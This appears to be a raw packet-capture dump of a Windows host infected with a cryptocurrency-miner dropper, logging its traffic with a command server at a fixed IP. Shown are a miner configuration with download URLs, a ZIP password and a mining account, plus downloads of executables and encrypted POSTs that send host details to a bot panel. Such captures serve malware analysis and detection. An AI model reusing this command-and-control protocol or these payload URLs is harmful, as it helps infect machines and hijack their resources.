PK.........Q.J..[..'...,......lcass.exe....V(..{.........r.$........'.
.m....'~cV~.'.X.O.. ....J..=.h7.s.....w.O.Q.s...w...5..O.....R..5..|N.
......(W38..3'sV....(....t.uO...}.]{.njj..q}.......C..f.9,.#@..N.z..V8
>...... b...$..[....X..,Te...B..\4E..0..bY..U".X.m.....k...q..6..T.
....zZH.Dm.....k.t.H....<.[....U.....h...u...0...F..od$........$...
...8........D...2.Jg.....b.$.6....1...05)..N.n....<.*V.....&&....(T
....a../J......t.v.........g"...7......U............[HV...)*\....UM8sy
.........\*.x.bj...*.....{tc....MD.Up.|......A.....eH!~.0?p.v|..OU=K6T
.'...V...R.6..:.m....*^/K...u}C......A..62.>4.....?S._.......=.....
..MV...=m...u}.-....O.......7.WFh.}.~{.:....;v.oc.U....Zf.....4...<
..H...o.Y...].].e...!'........e.G!.;...... .%.7.U..........~*..O....CF
.\..;...n52....E..t.....Y..`.,.X*. i..A.[.W... .qc...t.4..\...I......R
..y.N.......o.......6a...>....E...u... ...."...^..]..>o...*.\...
F@t...%.>."...sa.Z...7..J....R'S.Q..*~.sQwT.G/..|?xD[...........i_.
..[.S@.n.SjE..A.._...r.uWxP....8.LIRQ...L.......Fi.L].S.iG...y.bz....
..$\..>.>&Y.>5.No.....)..#.ojm..J..qP.n......S...n....}Uz.}.d
z.......}.x sr.Wa...J..v.0.....d&..Z.....=_.P...E.JO..NG\.*...=.......
d. .b.b......h4............vM...0...{..W.....%w.9S..x.m@@0~....(....L.
..QoA..,|.Y:s.(.-y....V..#.,..!E6..*.....Y5.R..N.......1..NdB...kj.A..
..la.........AC...P....F..c...r.@g...k...)...d.uUS.......tD. 6S..T ...
..r...[.^>....;...n..W_..U......... ]K......}O..p..P..P.T...x.....R
T.78..D.h..#...aM..Dg...7.7.......^.X8..]. F..^=.....f.....1......

<<< skipped >>>

GET /instal/config.txt HTTP/1.1
Host: 37.9.53.162
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:56:05 GMT
Content-Type: text/plain
Content-Length: 423
Connection: keep-alive
Last-Modified: Mon, 26 Jun 2017 05:36:25 GMT
ETag: "8a002d-1a7-552d654ef4840"
Accept-Ranges: bytes
<SleepConnect>10<SleepConnect>..<ZIPPasswrod>hy62iy8
fasvdaksdugo2b123onsdfgyi923bffsdf1<ZIPPasswrod>..<URLZip>
hXXp://37.9.53.162/instal/zip.dat<URLZip>....<MainerNameExe&g
t;svchosts<MainerNameExe>..<URLMainer32>hXXp://37.9.53.162
/instal/data32.zip<URLMainer32>..<URLMainer64>hXXp://37.9.
53.162/instal/data64.zip<URLMainer64>..<POOL><POOL>.
.<LOGIN>gankmonk@mail.ru<LOGIN>..<CURRENCY>bcn<CU
RRENCY>..<CPU><CPU>..<GPU>2<GPU>..HTTP/1.1
200 OK..Server: nginx..Date: Mon, 03 Jul 2017 14:56:05 GMT..Content-Ty
pe: text/plain..Content-Length: 423..Connection: keep-alive..Last-Modi
fied: Mon, 26 Jun 2017 05:36:25 GMT..ETag: "8a002d-1a7-552d654ef4840".
.Accept-Ranges: bytes..<SleepConnect>10<SleepConnect>..<
;ZIPPasswrod>hy62iy8fasvdaksdugo2b123onsdfgyi923bffsdf1<ZIPPassw
rod>..<URLZip>hXXp://37.9.53.162/instal/zip.dat<URLZip>
....<MainerNameExe>svchosts<MainerNameExe>..<URLMainer3
2>hXXp://37.9.53.162/instal/data32.zip<URLMainer32>..<URLM
ainer64>hXXp://37.9.53.162/instal/data64.zip<URLMainer64>..&l
t;POOL><POOL>..<LOGIN>gankmonk@mail.ru<LOGIN>..&l
t;CURRENCY>bcn<CURRENCY>..<CPU><CPU>..<GPU>
2<GPU>..
....

<<< skipped >>>

GET /instal/data32.zip HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:56:05 GMT
Content-Type: application/zip
Content-Length: 11008971
Last-Modified: Sun, 02 Jul 2017 03:11:18 GMT
Connection: keep-alive
ETag: "59586456-a7fbcb"
Accept-Ranges: bytes
PK........mn.J................platforms/PK..........8EWZ.K............
platforms/qwindows.dll...!.....4.....$.c.hJ..(..qUF0C.GP......M...g...
U2o.=z7!.....(.*..N.r3uQ=]X..v$..=..D..J}..C......)..{.<1n../.?.<
;..q3).E.....l..o..P.J.^............=..............p.^X...6.a.t.a;....
.A...ePy...J...#..$(6...,.V=...".u..k.........;......b.y@-.Dy.9h...>
;e:..mV.H.x.....]..*J..[...j..7.-..B.....4.;....v..a...O.D.L.IQr5.2...
.:..........:U(...;...%)C]....@Q.-@...q..:.Y.9.=TV".#.....G.YV.......X
.L....;\E.....-.......nz.x..5...o..$...........i...R...O5?....V^:;...,
..D5..4w.b..)....(....Qw7.J.&..&.%..5.p...j.O......o..C[.....q..D...R(
K.._13..I....LA$.n^$.2.......p.TY".G.g.."-.3q.;]..3."}......j..\.G.|.Y
we.[v..n.\>...;d...M...../E4.. .M\..h...Fx}0....L.@M.A.%...>....
...D\K......lNy_...<._.\.f.Z#Jj..~.,.K..d.t..H. ......X..R?X...3_.V
|...Ap..h.&.RMF.]..lb..YT..|W7.v.-..@....q.-...R.=...?.u. .......9 ~ a
`.O.....4.f"...,....[@Ah..}wK.p3.......J6..g=.....F2*..2.Y.......K...&
lt;9x.L. m....~!.~@|..^.~.co.......JiY./.\\......l.7..3"(.^K;..@.H..K.
.......T.d.gH1.....;..y.A...>..?..c..W..p.D?.....;.s.E........XJ...
... .9.Z#0...l....,@..}./..~.S..K..-Qx....i a...........-e...J.Ld!..tK
..0....u.....D........f..g...[...S.>.i5..'Z..6....tn..s.U.X.>;d.
....TVW...!...^.]....N.0.L%...Q........Q.n......i........>..KR.Svh.
U...B..zP.Q..N...a.c.... ..7 .t......J..W..-....9...H..~..*.....m.....
......u..&6%pHK...Q.W.Q....~.....[C...x.~.........K.]..~......G.(.....
....=T..Q.O.k..!Z.RCd..>.R.1..#..k.D...ar6.....G....T....0.[.jY

<<< skipped >>>

GET /connect.php?os=Microsoft Windows 7 Ultimate Service Pack 1&bit=32&ver=3&prog=NULL HTTP/1.1
Host: 37.9.53.162
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:30 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
HTTP/1.1 200 OK..Server: nginx..Date: Mon, 03 Jul 2017 14:55:30 GMT..C
ontent-Type: text/html..Content-Length: 0..Connection: keep-alive..


GET /instal/config.txt HTTP/1.1
Host: 37.9.53.162
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:57 GMT
Content-Type: text/plain
Content-Length: 423
Connection: keep-alive
Last-Modified: Mon, 26 Jun 2017 05:36:25 GMT
ETag: "8a002d-1a7-552d654ef4840"
Accept-Ranges: bytes
<SleepConnect>10<SleepConnect>..<ZIPPasswrod>hy62iy8
fasvdaksdugo2b123onsdfgyi923bffsdf1<ZIPPasswrod>..<URLZip>
hXXp://37.9.53.162/instal/zip.dat<URLZip>....<MainerNameExe&g
t;svchosts<MainerNameExe>..<URLMainer32>hXXp://37.9.53.162
/instal/data32.zip<URLMainer32>..<URLMainer64>hXXp://37.9.
53.162/instal/data64.zip<URLMainer64>..<POOL><POOL>.
.<LOGIN>gankmonk@mail.ru<LOGIN>..<CURRENCY>bcn<CU
RRENCY>..<CPU><CPU>..<GPU>2<GPU>..
..
..



GET /instal/zip.dat HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:57 GMT
Content-Type: application/octet-stream.
Content-Length: 279697
Connection: keep-alive
Last-Modified: Sun, 25 Jun 2017 06:26:20 GMT
ETag: "8a0029-44491-552c2e99bfb00"
Accept-Ranges: bytes
Content-Encoding: x-gzip
.............`...0.S....3#.5R.H.52F..K.....0..1.."...sY..i.....>.H.
;...._.n6.!..l.d7wB..$ .r,...lN.......g$._v...A.U.^U.z....:....M.4...}
.4.A.......v..)=..}(.....N......>;.3.....vt..;v...^v.ht....;FO>.
..k........2...k..)]....3U.?...l...,M..v.2p."a.S.n.tkZ...n....XP.u/..^
....?....,.,..=.....ji9..........hL:....j._.......y.,..tw%....F..M.a.M
..V..:...]qM..9I3....wb7...1..&......v.WSZF..=&...];{...`..zPl=....z..
^9.....[>...........?..g.^u.....z..o_s..^w......s~\|.UW........3>
;......?..?.{... ....3~w.....K.[........?...../.......o....i.....x....
..7}.._.~......@........$...4WD..3.4.i......:.... .8..Ep8........8...~
F....6#./.p.Bk.>.,......c...H.)F.>.x..%4.....A/..."...~..9.M....
..v.F.<0.,.l.h).D..M.q..n*.)u.&...hj.@h.O.-(..]..f...-Boe):..lIWY4.
S. ..G.P~b.).C....d.*.e.=...$.p.8\.......:.uL....q........I.E.G%....3[
.E..e`T.\..T..r.7.Bo.J.Dy...4..@.1}.......Ap.(..G..@.L.y..(.....'V./..
.$c....$..}.@.z[..w..L}P.......&f&........Ke....^.....hSJ....?.K%2.~A4
Qn..>...@Nu.......P\...1"&.....bR...R.v.C.}.AeW.......Q...*.C....)$
....N....%......u.....b..H..L..uj....#......y.W..:.d=x.ro.P.....X.Pv..
k>..#[.n=.#..$.....i.......c.."..m.5......!.C.........._...U.p..TP.
.o'...X..b...o...R.o..Y.#..~kI\........uo.@.#.e.n.......K8.;.....C...u
>.w.9..^...(m..E.......vb2B8&.%.).TR...5..]C.;L.(*.....KW.,7.....c.
%.f..Q..Ob.L^4).&%..dI....:..m....v....u4.L.....l_*.B......(..?.ka.vk.
...f[..e.h&aN......|.]'.X....B)..k@...&..<.....~..o.6".Vu....D[!$.T
,.ux...&...<.tHE.....<4;..:).........}.k~....C.["....4n...(i

<<< skipped >>>

GET /instal/data32.zip HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:57 GMT
Content-Type: application/zip
Content-Length: 11008971
Last-Modified: Sun, 02 Jul 2017 03:11:18 GMT
Connection: keep-alive
ETag: "59586456-a7fbcb"
Accept-Ranges: bytes
PK........mn.J................platforms/PK..........8EWZ.K............
platforms/qwindows.dll...!.....4.....$.c.hJ..(..qUF0C.GP......M...g...
U2o.=z7!.....(.*..N.r3uQ=]X..v$..=..D..J}..C......)..{.<1n../.?.<
;..q3).E.....l..o..P.J.^............=..............p.^X...6.a.t.a;....
.A...ePy...J...#..$(6...,.V=...".u..k.........;......b.y@-.Dy.9h...>
;e:..mV.H.x.....]..*J..[...j..7.-..B.....4.;....v..a...O.D.L.IQr5.2...
.:..........:U(...;...%)C]....@Q.-@...q..:.Y.9.=TV".#.....G.YV.......X
.L....;\E.....-.......nz.x..5...o..$...........i...R...O5?....V^:;...,
..D5..4w.b..)....(....Qw7.J.&..&.%..5.p...j.O......o..C[.....q..D...R(
K.._13..I....LA$.n^$.2.......p.TY".G.g.."-.3q.;]..3."}......j..\.G.|.Y
we.[v..n.\>...;d...M...../E4.. .M\..h...Fx}0....L.@M.A.%...>....
...D\K......lNy_...<._.\.f.Z#Jj..~.,.K..d.t..H. ......X..R?X...3_.V
|...Ap..h.&.RMF.]..lb..YT..|W7.v.-..@....q.-...R.=...?.u. .......9 ~ a
`.O.....4.f"...,....[@Ah..}wK.p3.......J6..g=.....F2*..2.Y.......K...&
lt;9x.L. m....~!.~@|..^.~.co.......JiY./.\\......l.7..3"(.^K;..@.H..K.
.......T.d.gH1.....;..y.A...>..?..c..W..p.D?.....;.s.E........XJ...
... .9.Z#0...l....,@..}./..~.S..K..-Qx....i a...........-e...J.Ld!..tK
..0....u.....D........f..g...[...S.>.i5..'Z..6....tn..s.U.X.>;d.
....TVW...!...^.]....N.0.L%...Q........Q.n......i........>..KR.Svh.
U...B..zP.Q..N...a.c.... ..7 .t......J..W..-....9...H..~..*.....m.....
......u..&6%pHK...Q.W.Q....~.....[C...x.~.........K.]..~......G.(.....
....=T..Q.O.k..!Z.RCd..>.R.1..#..k.D...ar6.....G....T....0.[.jY

<<< skipped >>>

POST /instal/panel/page.php HTTP/1.1
User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3
Content-Type: application/x-www-form-urlencoded
Host: 37.9.53.162
Content-Length: 427
Expect: 100-continue
Connection: Keep-Alive


HTTP/1.1 100 Continue
....



id=X1HNYmH7LDhbodILAigDbo55JNXzKHb3GLLnQaZn1MA=&os=MfQKj3XzrylCMpQCRF4
tfGf%SGm8puGHFkM0mWcHGUo=&pv=5bb1yjTzZAFWCbGbcS8nPbOf8LZLM%bPpl5r2W8dh
04=&ip=SNwTo%h5AAZhWi0b2cTzqH9L/iF38/PhmxE8dEeZibtOfXP6B5v8QmYUTd6rZ0w
nmRuNvRvSQdTZdbgeuL98cQ==&cn=U%yDh5fxezG7fYvtkts7YDsix612gxq2tGLaKktfJ
Pk=&lr=tn7ZOYsCSUdjFNoT4nhpYTesVcYURPX1XEbZRrRWIxA=&ct=jphU22OfcLPCqCD
ZZ9ns3whvMoKaCpK/YRdfidL/L6o=&bv=PTOw6bE4pT0t/36Ff9QnqGz7wns1QIFtYaR0F
rEjbYo=


HTTP/1.1 200 OK

Server: nginx
Date: Mon, 03 Jul 2017 14:55:57 GMT
Content-Type: text/html
Content-Length: 128
Connection: keep-alive
nTrUQmrXpx3OAGvyvCy1nhLEO56eLRTxYHvFjAoRK67enmXYmUHXCxE29bKekdDbUiQWFZ
6K2TygwoTOSMKkC1PDlD8uS9bj4ORto7ZNRmfStearFmZRUWYWj0VnYLU
....



GET /instal/uribr.exe HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:55:57 GMT
Content-Type: application/octet-stream
Content-Length: 143088
Connection: keep-alive
Last-Modified: Thu, 29 Jun 2017 14:23:25 GMT
ETag: "8a01ae-22ef0-5531a0b285140"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....UY
.....................8........... ........@.. .......................`
............@.................................D...W........5..........
.........@....................................................... ....
........... ..H............text........ ...................... ..`.rsr
c....5.......6..................@..@.reloc.......@....................
..@..B........................H...........(...........................
................................sd.>=>>>:>>>..>
;>.>>>>>>>~>>>>>>>>>
;>>>>>>>>>>>>>>>>>&
gt;>>>>>>>>.>>>0!.0>.7...?r..jVWM.
NLQYL_S.]_PPQJ.\[.LKP.WP.zqm.SQZ[.334.>>>>>>>n{&g
t;>r?:>.2kg>>>>>>>>.>0?5?8>>.?&
gt;>2>>>>>>..?>>.>>>.?>>>
~>>.>>><>>:>>>>>>>:>&g
t;>>>>>>.<>>:>>>>>>=>~
.>>.>>.>>>>.>>.>>>>>>.
>>>>>>>>>>>~.?>u>>>>.?
>.;>>>>>>>>>>>>>>>>
>>>><>2>>>..?>">>>>>>&
gt;>>>>>>>>>>>>>>>>

<<< skipped >>>

POST /instal/panel/page.php HTTP/1.1

User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3
Content-Type: application/x-www-form-urlencoded
Host: 37.9.53.162
Content-Length: 523
Expect: 100-continue

id=X1HNYmH7LDhbodILAigDbo55JNXzKHb3GLLnQaZn1MA=&os=MfQKj3XzrylCMpQCRF4tfGf%SGm8puGHFkM0mWcHGUo=&pv=5bb1yjTzZAFWCbGbcS8nPbOf8LZLM%bPpl5r2W8dh04=&ip=SNwTo%h5AAZhWi0b2cTzqH9L/iF38/PhmxE8dEeZibtOfXP6B5v8QmYUTd6rZ0wnmRuNvRvSQdTZdbgeuL98cQ==&cn=U%yDh5fxezG7fYvtkts7YDsix612gxq2tGLaKktfJPk=&lr=tn7ZOYsCSUdjFNoT4nhpYTesVcYURPX1XEbZRrRWIxA=&ct=jphU22OfcLPCqCDZZ9ns3whvMoKaCpK/YRdfidL/L6o=&bv=PTOw6bE4pT0t/36Ff9QnqGz7wns1QIFtYaR0FrEjbYo=&op=5TtvclkPWr02KL0Fmi1rOhmDmp5ac/KduT%iV/iww=&td=VpYQnVLVRE%S4Qyu73%oGBfTSm1bvNPSkJc6e1yMVp8=
HTTP/1.1 100 Continue
HTTP/1.1 200 OK..Server: nginx..Date: Mon, 03 Jul 2017 14:55:59 GMT..C
ontent-Type: text/html..Content-Length: 243..Connection: keep-alive..&
lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&l
t;head>.<title>404 Not Found</title>.</head><b
ody>.<h1>Not Found</h1>.<p>The requested URL /ins
tal/panel/page.php was not found on this server.</p>.<hr>.
<address></address>.</body></html>..


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c= HTTP/1.1
Cache-Control: max-age = 584393
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 13 Oct 2016 04:26:54 GMT
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.10.2
Content-Type: application/ocsp-response
Content-Length: 1763
content-transfer-encoding: binary
Cache-Control: max-age=460126, public, no-transform, must-revalidate
Last-Modified: Sat, 1 Jul 2017 22:37:54 GMT
Expires: Sat, 8 Jul 2017 22:37:54 GMT
Date: Mon, 03 Jul 2017 14:50:11 GMT
Connection: keep-alive
0..........0..... .....0......0...0.......WI.....L.c=...r..7Z..2017070
1223754Z0s0q0I0... ...................B.>.I.$&.....e......0..C9...3
13..R...%V.......K3.....20170701223754Z....20170708223754Z0...*.H.....
........k.Z...w\...7...W.U.2......%...>N..L..8d..O...4.*Y:..z...c.T
...@lr.BY....>wb.T...%A...O......9I...w.....Mg...C5.....X.C$..v7.9T
...#.j..l.. *..o.....QT203.....2zj~.....j..9.......^...-fY....[x....Ce
....$P.%%v.o.....g..O. ..X.&.F.4 S...W.!.....$..c....u(*).P.....0...0.
..0..........^..)......<...T.0...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1(c) 2006
VeriSign, Inc. - For authorized use only1E0C..U...<VeriSign Class
3 Public Primary Certification Authority - G50...161122000000Z..171214
235959Z0..1.0...U....US1.0...U....Symantec Corporation1.0...U....Syman
tec Trust Network1?0=..U...6Symantec Class 3 PCA - G5 OCSP Responder C
ertificate 50.."0...*.H.............0.............................m..|
........1rUZN.b.......t. d......O...NY.lR..k .Q.z.g.4(,...Rp.7...0C.j.
)Z........ ~..3...x.b.-..... S^0<6...!.(..2}...T.fX}...6...(...1...
#..H..|`.yy.<B.z.q$......u.-..K.!......y..8..--....?.,.[.[...5.e.4.
....D..t.;....).J....\fV..G.........0...0...U.......0.0l..U. .e0c0a..`
.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......0...ht
tp://VVV.symauth.com/rpa0...U.%..0... .......0...U...........0... ....
.0......0"..U....0...0.1.0...U....TGV-OFF-500...U.......WI.....L.c=...
r..7Z0...U.#..0.....e......0..C9...3130...*.H.............<wN..

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEHZm+Im/RCzTFlzWZ5k7XY8= HTTP/1.1

Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.10.2
Content-Type: application/ocsp-response
Content-Length: 1660
content-transfer-encoding: binary
Cache-Control: max-age=347833, public, no-transform, must-revalidate
Last-Modified: Fri, 30 Jun 2017 15:23:05 GMT
Expires: Fri, 7 Jul 2017 15:23:05 GMT
Date: Mon, 03 Jul 2017 14:50:17 GMT
Connection: keep-alive
0..x......q0..m.. .....0.....^0..Z0.........8.Y......*u...&.A..2017063
0152305Z0s0q0I0... ...................F....0.yV......{&.K......&......
.vf...D,..\.g.;].....20170630152305Z....20170707152305Z0...*.H........
.....c...q...~d.-d....... .....1..,.....@.6gp}.n...\>M$..1......../
.......bM|.U.........[.]..YoY..s:H5Pi.z....^.I..LD.....HA8Nz..g6S....Q
...a....$-...P.%.An.[I......IdR.7......L..JJ<]O.....!.w.m..kl&F...5
.C[...K..<...ME.....o..w..q.3@m..=^...&.^...D.....e.VZc.U....0...0.
..0..........h..o&.......WC..0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)101.0,..U...%VeriSign Class 3 Cod
e Signing 2010 CA0...161213000000Z..211231235959Z0D1B0@..U...9Symantec
Class 3 Code Signing 2010 CA SHA1 OCSP Responder0.."0...*.H..........
...0..........{.~......9......W*8:Y.`.b8.4....:.]6;..V...]'6......Mi..
_.....l.....!,.F|..?&....1.y............Cudi(.Ron.._T.p ..a....'!.0.Z.
............n@A.5.&..Z.Bo...L.....e.`..4........4.........<.".q..n.
,..$.....C....n.v..*.3.,:..{...R. ...1.s..jF..q...a.f..@.../..........
0...0...U.......0.0f..U. ._0]0[..`.H...E....0L0#.. .........hXXps://d.
symcb.com/cps0%.. .......0...hXXps://d.symcb.com/rpa0...U.%..0... ....
...0...U...........0... .....0......0"..U....0...0.1.0...U....TGV-OFF-
650...U.........8.Y......*u...&.A0...U.#..0.......{&.K......&.....0...
*.H..............O..s3..[.....:Y......c..L...:...4EZ.x.I..m.7.B`.t.A..
..56f.......W<>.Lr.,...........".T.......Q..] "A.pV......J..

<<< skipped >>>

POST /instal/bot/page.php HTTP/1.1
User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3
Content-Type: application/x-www-form-urlencoded
Host: 37.9.53.162
Content-Length: 427
Expect: 100-continue


HTTP/1.1 100 Continue
....



id=X1HNYmH7LDhbodILAigDbo55JNXzKHb3GLLnQaZn1MA=&os=MfQKj3XzrylCMpQCRF4
tfGf^SGm8puGHFkM0mWcHGUo=&pv=5bb1yjTzZAFWCbGbcS8nPbOf8LZLM^bPpl5r2W8dh
04=&ip=YqQwerADSQEP0rLjnosIfG4IOxn8645lcKXECViJBjA7qKvhwS/Vl20IptofqbR
nLDMkoxgKT3P06WjM9ORzLw==&cn=U^yDh5fxezG7fYvtkts7YDsix612gxq2tGLaKktfJ
Pk=&lr=tn7ZOYsCSUdjFNoT4nhpYTesVcYURPX1XEbZRrRWIxA=&ct=jphU22OfcLPCqCD
ZZ9ns3whvMoKaCpK/YRdfidL/L6o=&bv=9gD2HhdNLniOgWZc/tWMdfMIbfD^ZwqmaygBZ
o7MxLY=


HTTP/1.1 200 OK

Server: nginx
Date: Mon, 03 Jul 2017 14:56:06 GMT
Content-Type: text/html
Content-Length: 128
Connection: keep-alive
y2rSHQw6yp U4cZoCkAMQ9WnFJAAnpu3G0h/Cdo3ti5pp4GG9BTwQhFOdF8h56QedMex0Y
svUruG3MuCI25yv80CpjdYW/u9ltePGmeA8bbKt70WE71L0Nfl3aeCmwiL
....



GET /instal/spools.exe HTTP/1.1

Host: 37.9.53.162


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jul 2017 14:56:06 GMT
Content-Type: application/octet-stream
Content-Length: 2976256
Connection: keep-alive
Last-Modified: Sun, 02 Jul 2017 15:53:35 GMT
ETag: "8a01a5-2d6a00-55357a7247dc0"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....YY
.................^-..........}-.. ....-...@.. ........................
-...........@.................................p}-.K.....-.@...........
..........-.....8|-.............................................. ....
........... ..H............text....]-.. ...^-................. ..`.rsr
c...@.....-......`-.............@..@.reloc........-......h-...........
..@..B.................}-.....H.........-. w..........................
................................/8.babbbfbbb..bb.bbbbbbb"bbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbrcbbl}.lb.k.C.c..C6...B.......B......B..B...B..B
&-1B....LoohFbbbbbbbt...0p..0p..0p..v!..2p....Y.1p..="A..p..="~..p..="
...p..9...9p..9....p..0p...r....t.`p....A.1p..="E.1p..0p..1p....@.1p..
0...0p..bbbbbbbbbbbbbbbb2'bb.ceb6.5;bbbbbbbb.b@cicnbb.jbb.jbbbbb(.`bbr
bbb.jbbb"bbrbbb`bbgbcbbbbbgbcbbbbbb.wbbrbb..sb`b".bb.bbBbbbb.bbBbbbbbb
rbbbbbbbbbbbbRwb.qbbb.nb..fbbbbbbbbbbbbbbbbbb.wbbRbb.Ikb~bbbbbbbbbbbbb
bbbbbbb.sbzbbb.*hb"bbbbbbbbbbbb.jb.jbbbbbbbbbbbbbbbbbbbbbbbbbbL....bbb
L.jbbrbbb.jbbfbbbbbbbbbbbbbbBbb.L.....bbl.`bb.jbb.`bb.jbbbbbbbbbbbbb"b
b"L....bbb..bbb.ibb0bbb.ibbbbbbbbbbbbb"bb.L....bbb..fbb.nbb.fbbtnbbbbb
bbbbbbbb"bb"L.....bbR.bbb"sbb.bbb.rbbbbbbbbbbbbb"bb L......Sbrbbb.sbbr
wbb2sbbbbbbbbbbbbb"bb.L......Pbrfbb.sbbrfbb.Dbbbbbbbbbbbbb.bb.bbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

<<< skipped >>>

POST /instal/bot/page.php HTTP/1.1

User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3
Content-Type: application/x-www-form-urlencoded
Host: 37.9.53.162
Content-Length: 523
Expect: 100-continue


HTTP/1.1 100 Continue
....



id=X1HNYmH7LDhbodILAigDbo55JNXzKHb3GLLnQaZn1MA=&os=MfQKj3XzrylCMpQCRF4
tfGf^SGm8puGHFkM0mWcHGUo=&pv=5bb1yjTzZAFWCbGbcS8nPbOf8LZLM^bPpl5r2W8dh
04=&ip=YqQwerADSQEP0rLjnosIfG4IOxn8645lcKXECViJBjA7qKvhwS/Vl20IptofqbR
nLDMkoxgKT3P06WjM9ORzLw==&cn=U^yDh5fxezG7fYvtkts7YDsix612gxq2tGLaKktfJ
Pk=&lr=tn7ZOYsCSUdjFNoT4nhpYTesVcYURPX1XEbZRrRWIxA=&ct=jphU22OfcLPCqCD
ZZ9ns3whvMoKaCpK/YRdfidL/L6o=&bv=9gD2HhdNLniOgWZc/tWMdfMIbfD^ZwqmaygBZ
o7MxLY=&op=5TtvclkPWr02K^4C0Fmi1rOhmDmp5ac/KduT^iV/iww=&td=r1ylyFOjH3G
1g7QI//7VAqGrFncowihnnWiVaw/tKNw=


HTTP/1.1 200 OK

Server: nginx
Date: Mon, 03 Jul 2017 14:56:09 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
HTTP/1.1 200 OK..Server: nginx..Date: Mon, 03 Jul 2017 14:56:09 GMT..C
ontent-Type: text/html..Content-Length: 0..Connection: keep-alive..


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86403
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Fri, 16 Sep 2016 21:16:59 GMT
If-None-Match: "8017f9a85f10d21:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: VVV.download.windowsupdate.com


HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Length: 52967
Content-Type: application/vnd.ms-cab-compressed
Last-Modified: Tue, 13 Jun 2017 19:04:53 GMT
Accept-Ranges: bytes
ETag: "80f83df077e4d21:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-CID: 7
X-CCC: RU
X-MSEdge-Ref: Ref A: 472E976F908A4A79BABBAFA9231C9881 Ref B: MSAEDGE0115 Ref C: Mon Jul  3 07:50:05 2017 PST
Date: Mon, 03 Jul 2017 14:50:05 GMT
MSCF............,...................I..................J.` .authroot.s
tl.^R.Y.6..CK...8...........].y.Q..!Jv..%k.....!..DH...B.KBWE.(.f.RQ*.
..f...}'.....x.:.{f...|.s.q..CF.......0....{%i......P.F.yNz:A..L..1..3
...........IG.....4=....~."|..s.|.xuT..._.*.....e.h,....ozs..*.!TmS..A
q... |,.....V..xV....^....FE(.x...N..h...b....y...j.!....7..h. ..@.(V.
.....8..`-..#=.jq'.e...|..X...@...{..rj.d.....?n3.L.......S.......:.O.
.."k.!o......`.l.B 1.....#].....k6.........B.......!P$.A..<..?zk...
.~..P)A0tu....x..-X..E..,a.7,xN..eed.3..L..XT......IG.w_.Y....E....~k.
.X...T.V.g7d.....#.&~.f.O....Dh...x0..J...0..u.dF..P.!..d...%x<!...
....@,...0..3..-.....q.....X.e....A...z.'..2.<.m.f...I.9.z..a.6vo..
...P..U7...-.0.Q..<zd!V....=.'.....2H;..5.7.%5PsD.#.....ht%......f
..s.Dp..Lklx%[.!c...I.<...f.<..e.k`......^.......X..?Z...?......
?..I}..5V.v .q.c.9j..Y..J..0U.t./%..Jd @.W.u......U.".)C(........T.4.y
..J.57*^HlY....O|..~\.J]..]e...?..x2c..6.....i.=?x.....N..-X..f"^@'...
.-v..v...7j.Y1.5._v.....*S9.."........%E<E...;p.}........0..P....g.
.@.]E.3........K....K.4V..Q.-,.../.........:.A....Ng,.........BFef.[..
. ..."*...^...L._#:,7..6:.z..!a............E.r>......A....#..c.....
rS.......7.D..JdR.`6.|...>.0....Wf..n..^..8x.4..........-.3y,3.C.(.
...9f...iNK....q....sUq....c...c.....*K.8"..D...<..0............*x,
$x....a....]..p..t.M....6F..u.....p.r.kf...Z......h~.B3...[.....Hc...K
.....I.....%F..:.....N....U..eU........ e. k....3(S..h....1..r..Z.Y...
